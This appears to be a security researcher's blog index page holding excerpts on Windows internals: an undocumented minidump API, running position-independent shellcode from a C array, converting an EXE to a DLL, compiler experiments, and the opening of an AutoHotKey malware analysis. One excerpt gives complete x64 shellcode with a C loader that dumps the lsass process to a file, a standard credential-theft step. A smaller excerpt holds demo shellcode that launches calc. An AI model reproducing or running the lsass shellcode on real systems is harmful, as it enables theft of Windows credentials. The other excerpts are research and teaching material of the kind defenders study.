MiniDumpWriteDump via Faultrep!CreateMinidump

I found out this old undocumented API “CreateMinidumpW” inside the faultrep.dll on Windows XP and Windows Server 2003. This API ends up calling the dbghelp!MiniDumpWriteDump to dump the process by dynamically loading the dbghelp.dll on runtime.

The function takes 3 arguments. I really have no clue what this 3rd argument’s structure is. I passed 0 as the pointer to the structure so by default we end up getting 0x21 as the MINIDUMP_TYPE.

CreateMinidumpW(DWORD dwProcessId, LPCWSTR lpFileName, struct tagSMDumpOptions *)


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Running Shellcode Directly in C

Here’s a cool thing I figured out in position-independent code. I would rephrase the title as running position-independent code instead of shellcode. Check my previous article Executing Shellcode Directly where I used a minimal PE and pointed the AddressofEntryPoint to the beginning of the PIC.

So the goal is to run shellcode in C without any function pointers or any functions at all, not even a main function 🙂 For example, this is all the code. I declare the variable name as “main”. I am using the Microsoft’s Visual C compiler with no parameters.

char main[] = 
"\x90\x90\x90\x90\x90\x90\x90\x90\x31\xdb\x64\x8b\x7b\x30\x8b\x7f"
"\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b\x77\x20\x8b\x3f\x80\x7e\x0c\x33"
"\x75\xf2\x89\xc7\x03\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01"
"\xc7\x89\xdd\x8b\x34\xaf\x01\xc6\x45\x81\x3e\x43\x72\x65\x61\x75"
"\xf2\x81\x7e\x08\x6f\x63\x65\x73\x75\xe9\x8b\x7a\x24\x01\xc7\x66"
"\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9"
"\xb1\xff\x53\xe2\xfd\x68\x63\x61\x6c\x63\x89\xe2\x52\x52\x53\x53"
"\x53\x53\x53\x53\x52\x53\xff\xd7";

After compiling it won’t of course run. Why? Well, the initialized data will end up in the “.data” section.


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Converting an EXE to a DLL

I’ve been doing some crazy experiments on running an EXE as a DLL. Here are some parts of my research.

Case #1

Let’s take a simple example like a MessageBox.

#include <windows.h>

int APIENTRY wWinMain(_In_ HINSTANCE hInstance,
                     _In_opt_ HINSTANCE hPrevInstance,
                     _In_ LPWSTR    lpCmdLine,
                     _In_ int       nCmdShow) 
{
	MessageBox(NULL, L"@OsandaMalith", L"https://osandamalith.com", MB_ICONINFORMATION | MB_OKCANCEL);
  
}

After compiling to an EXE we have to change the characteristics under NT Header->File Header to a DLL file. I will use the value 0x2000 | 0x2| 0x100 = 0x2102.

#define IMAGE_FILE_DLL                       0x2000  // File is a DLL.
#define IMAGE_FILE_EXECUTABLE_IMAGE          0x0002  // File is executable
#define IMAGE_FILE_32BIT_MACHINE             0x0100  // 32 bit word machine.

typedef struct _IMAGE_NT_HEADERS {
    DWORD Signature;
    IMAGE_FILE_HEADER FileHeader;
    IMAGE_OPTIONAL_HEADER32 OptionalHeader;
} IMAGE_NT_HEADERS32, *PIMAGE_NT_HEADERS32;

typedef struct _IMAGE_FILE_HEADER {
    WORD    Machine;
    WORD    NumberOfSections;
    DWORD   TimeDateStamp;
    DWORD   PointerToSymbolTable;
    DWORD   NumberOfSymbols;
    WORD    SizeOfOptionalHeader;
    WORD    Characteristics;
} IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER;

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Random Compiler Experiments on Arrays

One day a guy asked me how to print a 2d string array in C. So I coded an example for him. But just for curiosity, I examined the assembly code. In C both string[0][1] and *(*string + 1) are the same. But in reality, the compiler writes the assembly code in 2 different ways. If we use string[0][1] it will directly move the value from the stack. When we dereference a pointer *(*string + 1) it will actually dereference the address pointed inside the register. This happens only in the MinGW GCC compiler. I compiled this using the latest on Windows which is 8.2.0-3 by the time I am writing this.

The assembly code in the left is this one.

#include <stdio.h>

int main() {
    char *string[][2] = { 
     {"Osanda","Malith"},
     {"ABC","JKL"},
     {"DEF","MNO"}, 
};

	printf("%s %s\n", string[0][0], string[0][1]);
}

The assembly code on the right is this.

#include <stdio.h>

int main() {
    char *string[][2] = { 
     {"Osanda","Malith"},
     {"ABC","JKL"},
     {"DEF","MNO"}, 
};

	printf("%s %s\n", **string, *(*string + 1));
}

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Analyzing an AutoHotKey Malware

I found this malware spreading through the Facebook messenger. Thanks to Rashan Hasaranga for notifying me this in the first place. It was targeting Sri Lankan people on Facebook. It was a compressed “.bz” file which was spreading via the messenger. The name had “video_” and a random number.

After I downloaded the files, I checked the file hashes. I couldn’t find any analysis done before. So, I decided to get to the bottom of this. The malicious files have the extension as “.com” instead of an exe. However, it’s a compiled exe, renaming this to “com” will still run as an exe by the Windows loader.

These are the samples I found. However, they all contain the same malware. I found 2 authors compiled this from 2 different machines. Read along 😊
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Shellcode to Dump the Lsass Process

Here’s the shellcode I wrote for curiosity and ended up working nicely 🙂

This shellcode is for Windows 10 and Server 2019 x86_64.

# include <stdio.h>
# include <string.h>
# include <windows.h>
 
/*
 * Title: Shellcode to dump the lsass process
 * Works only on Windows 10 and Windows Server 2019
 * Arch: x86_64
 * Author: Osanda Malith Jayathissa (@OsandaMalith)
 * Website: https://osandamalith.com    
 * Date: 11/05/2019
 */
  
int main() {

	unsigned char shellcode[822] = {
		0xE9, 0x1B, 0x03, 0x00, 0x00, 0xCC, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, 0x08, 0x48, 0x89, 0x74,
		0x24, 0x10, 0x57, 0x48, 0x83, 0xEC, 0x10, 0x65, 0x48, 0x8B, 0x04, 0x25, 0x60, 0x00, 0x00, 0x00,
		0x8B, 0xF1, 0x48, 0x8B, 0x50, 0x18, 0x4C, 0x8B, 0x4A, 0x10, 0x4D, 0x8B, 0x41, 0x30, 0x4D, 0x85,
		0xC0, 0x0F, 0x84, 0xB8, 0x00, 0x00, 0x00, 0x41, 0x0F, 0x10, 0x41, 0x58, 0x49, 0x63, 0x40, 0x3C,
		0x4D, 0x8B, 0x09, 0x42, 0x8B, 0x9C, 0x00, 0x88, 0x00, 0x00, 0x00, 0x33, 0xD2, 0xF3, 0x0F, 0x7F,
		0x04, 0x24, 0x85, 0xDB, 0x74, 0xD4, 0x48, 0x8B, 0x04, 0x24, 0x48, 0xC1, 0xE8, 0x10, 0x44, 0x0F,
		0xB7, 0xD0, 0x45, 0x85, 0xD2, 0x74, 0x20, 0x48, 0x8B, 0x4C, 0x24, 0x08, 0x45, 0x8B, 0xDA, 0xC1,
		0xCA, 0x0D, 0x80, 0x39, 0x61, 0x0F, 0xBE, 0x01, 0x7C, 0x03, 0x83, 0xC2, 0xE0, 0x03, 0xD0, 0x48,
		0xFF, 0xC1, 0x49, 0xFF, 0xCB, 0x75, 0xE8, 0x4D, 0x8D, 0x14, 0x18, 0x33, 0xC9, 0x41, 0x8B, 0x7A,
		0x20, 0x49, 0x03, 0xF8, 0x41, 0x39, 0x4A, 0x18, 0x76, 0x90, 0x8B, 0x1F, 0x45, 0x33, 0xDB, 0x48,
		0x8D, 0x7F, 0x04, 0x49, 0x03, 0xD8, 0x41, 0xC1, 0xCB, 0x0D, 0x0F, 0xBE, 0x03, 0x48, 0xFF, 0xC3,
		0x44, 0x03, 0xD8, 0x80, 0x7B, 0xFF, 0x00, 0x75, 0xED, 0x41, 0x8D, 0x04, 0x13, 0x3B, 0xC6, 0x74,
		0x0D, 0xFF, 0xC1, 0x41, 0x3B, 0x4A, 0x18, 0x72, 0xD1, 0xE9, 0x5C, 0xFF, 0xFF, 0xFF, 0x41, 0x8B,
		0x42, 0x24, 0x03, 0xC9, 0x49, 0x03, 0xC0, 0x0F, 0xB7, 0x04, 0x01, 0x41, 0x8B, 0x4A, 0x1C, 0xC1,
		0xE0, 0x02, 0x48, 0x98, 0x49, 0x03, 0xC0, 0x8B, 0x04, 0x01, 0x49, 0x03, 0xC0, 0xEB, 0x02, 0x33,
		0xC0, 0x48, 0x8B, 0x5C, 0x24, 0x20, 0x48, 0x8B, 0x74, 0x24, 0x28, 0x48, 0x83, 0xC4, 0x10, 0x5F,
		0xC3, 0xCC, 0xCC, 0xCC, 0x40, 0x55, 0x53, 0x56, 0x57, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41,
		0x57, 0x48, 0x8D, 0xAC, 0x24, 0x28, 0xFF, 0xFF, 0xFF, 0x48, 0x81, 0xEC, 0xD8, 0x01, 0x00, 0x00,
		0x33, 0xC0, 0x48, 0x8D, 0x7D, 0xA0, 0xB9, 0x30, 0x01, 0x00, 0x00, 0xF3, 0xAA, 0x45, 0x33, 0xF6,
		0xB9, 0x4C, 0x77, 0x26, 0x07, 0xC7, 0x45, 0x80, 0x6B, 0x65, 0x72, 0x6E, 0xC7, 0x45, 0x84, 0x65,
		0x6C, 0x33, 0x32, 0xC7, 0x45, 0x88, 0x2E, 0x64, 0x6C, 0x6C, 0x44, 0x88, 0x75, 0x8C, 0xC7, 0x44,
		0x24, 0x70, 0x64, 0x62, 0x67, 0x63, 0xC7, 0x44, 0x24, 0x74, 0x6F, 0x72, 0x65, 0x2E, 0xC7, 0x44,
		0x24, 0x78, 0x64, 0x6C, 0x6C, 0x00, 0xC7, 0x44, 0x24, 0x60, 0x6E, 0x74, 0x64, 0x6C, 0xC7, 0x44,
		0x24, 0x64, 0x6C, 0x2E, 0x64, 0x6C, 0x66, 0xC7, 0x44, 0x24, 0x68, 0x6C, 0x00, 0xC7, 0x44, 0x24,
		0x50, 0x6C, 0x73, 0x61, 0x73, 0xC7, 0x44, 0x24, 0x54, 0x73, 0x2E, 0x64, 0x6D, 0x66, 0xC7, 0x44,
		0x24, 0x58, 0x70, 0x00, 0xC7, 0x44, 0x24, 0x40, 0x6C, 0x73, 0x61, 0x73, 0xC7, 0x44, 0x24, 0x44,
		0x73, 0x2E, 0x65, 0x78, 0x66, 0xC7, 0x44, 0x24, 0x48, 0x65, 0x00, 0xC6, 0x85, 0x20, 0x01, 0x00,
		0x00, 0x61, 0xE8, 0x51, 0xFE, 0xFF, 0xFF, 0x48, 0x8D, 0x4D, 0x80, 0x48, 0x8B, 0xF8, 0xFF, 0xD7,
		0x48, 0x8D, 0x4C, 0x24, 0x70, 0xFF, 0xD7, 0x48, 0x8D, 0x4C, 0x24, 0x60, 0xFF, 0xD7, 0xB9, 0x80,
		0x39, 0x1E, 0x92, 0xE8, 0x30, 0xFE, 0xFF, 0xFF, 0xB9, 0xDA, 0xF6, 0xDA, 0x4F, 0x48, 0x8B, 0xF0,
		0xE8, 0x23, 0xFE, 0xFF, 0xFF, 0xB9, 0x27, 0xA9, 0xE8, 0x67, 0x48, 0x8B, 0xF8, 0xE8, 0x16, 0xFE,
		0xFF, 0xFF, 0xB9, 0x8D, 0x52, 0x01, 0xBD, 0x48, 0x8B, 0xD8, 0xE8, 0x09, 0xFE, 0xFF, 0xFF, 0xB9,
		0x74, 0x71, 0x8D, 0xDC, 0x4C, 0x8B, 0xE0, 0xE8, 0xFC, 0xFD, 0xFF, 0xFF, 0xB9, 0xB4, 0x73, 0x8D,
		0xE2, 0x4C, 0x8B, 0xF8, 0xE8, 0xEF, 0xFD, 0xFF, 0xFF, 0xB9, 0xEE, 0x95, 0xB6, 0x50, 0x4C, 0x8B,
		0xE8, 0xE8, 0xE2, 0xFD, 0xFF, 0xFF, 0xB9, 0x3D, 0xD7, 0xC8, 0x6E, 0x48, 0x89, 0x85, 0x30, 0x01,
		0x00, 0x00, 0xE8, 0xD1, 0xFD, 0xFF, 0xFF, 0xB9, 0x7A, 0x19, 0x77, 0x6A, 0x48, 0x89, 0x45, 0x90,
		0xE8, 0xC3, 0xFD, 0xFF, 0xFF, 0x4C, 0x8D, 0x8D, 0x28, 0x01, 0x00, 0x00, 0x41, 0x8D, 0x4E, 0x14,
		0x45, 0x33, 0xC0, 0xB2, 0x01, 0xFF, 0xD0, 0x4C, 0x21, 0x74, 0x24, 0x30, 0x48, 0x8D, 0x4C, 0x24,
		0x50, 0x45, 0x33, 0xC9, 0x45, 0x33, 0xC0, 0xBA, 0x00, 0x00, 0x00, 0x10, 0xC7, 0x44, 0x24, 0x28,
		0x80, 0x00, 0x00, 0x00, 0xC7, 0x44, 0x24, 0x20, 0x02, 0x00, 0x00, 0x00, 0xFF, 0xD7, 0x33, 0xD2,
		0x48, 0x89, 0x85, 0x38, 0x01, 0x00, 0x00, 0x8D, 0x4A, 0x02, 0xFF, 0xD6, 0x48, 0x8D, 0x55, 0xA0,
		0xC7, 0x45, 0xA0, 0x30, 0x01, 0x00, 0x00, 0x48, 0x8B, 0xC8, 0x48, 0x8B, 0xF8, 0xFF, 0xD3, 0x33,
		0xDB, 0x85, 0xC0, 0x74, 0x31, 0xEB, 0x1C, 0x48, 0x8D, 0x55, 0xA0, 0x48, 0x8B, 0xCF, 0x41, 0xFF,
		0xD4, 0x48, 0x8D, 0x55, 0xCC, 0x48, 0x8D, 0x8D, 0x20, 0x01, 0x00, 0x00, 0x41, 0xFF, 0xD5, 0x44,
		0x8B, 0x75, 0xA8, 0x48, 0x8D, 0x54, 0x24, 0x40, 0x48, 0x8D, 0x8D, 0x20, 0x01, 0x00, 0x00, 0x41,
		0xFF, 0xD7, 0x85, 0xC0, 0x75, 0xD1, 0x45, 0x8B, 0xC6, 0x33, 0xD2, 0xB9, 0xFF, 0xFF, 0x1F, 0x00,
		0xFF, 0x95, 0x30, 0x01, 0x00, 0x00, 0x4C, 0x8B, 0x85, 0x38, 0x01, 0x00, 0x00, 0x48, 0x89, 0x5C,
		0x24, 0x30, 0x48, 0x8B, 0xC8, 0x41, 0xB9, 0x02, 0x00, 0x00, 0x00, 0x41, 0x8B, 0xD6, 0x48, 0x89,
		0x5C, 0x24, 0x28, 0x48, 0x89, 0x5C, 0x24, 0x20, 0xFF, 0x55, 0x90, 0x48, 0x81, 0xC4, 0xD8, 0x01,
		0x00, 0x00, 0x41, 0x5F, 0x41, 0x5E, 0x41, 0x5D, 0x41, 0x5C, 0x5F, 0x5E, 0x5B, 0x5D, 0xC3, 0xCC,
		0x56, 0x48, 0x8B, 0xF4, 0x48, 0x83, 0xE4, 0xF0, 0x48, 0x83, 0xEC, 0x20, 0xE8, 0xD3, 0xFD, 0xFF,
		0xFF, 0x48, 0x8B, 0xE6, 0x5E, 0xC3
	};
    
    DWORD oldProtect;
    BOOL ret = VirtualProtect (shellcode, strlen(shellcode), PAGE_EXECUTE_READWRITE, &oldProtect);
   
    if (!ret) {
        fprintf(stderr, "%s", "Error Occured");
        return EXIT_FAILURE;
    }
   
    ((void(*)(void))shellcode)();
  
    VirtualProtect (shellcode, strlen(shellcode), oldProtect, &oldProtect);
   
    return EXIT_SUCCESS;
}

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Determining Registry Keys of Group Policy Settings

One night I was curious about how the Group Policy Manager sets the policies using registry keys. The GUI displays detailed descriptions but not the backend registry key the target policy uses.
Of course, if you Google a policy you can end up finding the target registry value or have a look at the “C:\windows\policydefinitions” folder for the admx files. But I wanted to see for myself how this works behind the scenes. So, I used the API Monitor to monitor the APIs and check the values manually.

Let’s have a look at the policy where we can disable the right click.

The process is “mmc.exe”, the Microsoft Management Console. The Local Group Policy Editor – “gpedit.msc” is just one snap-in of it.
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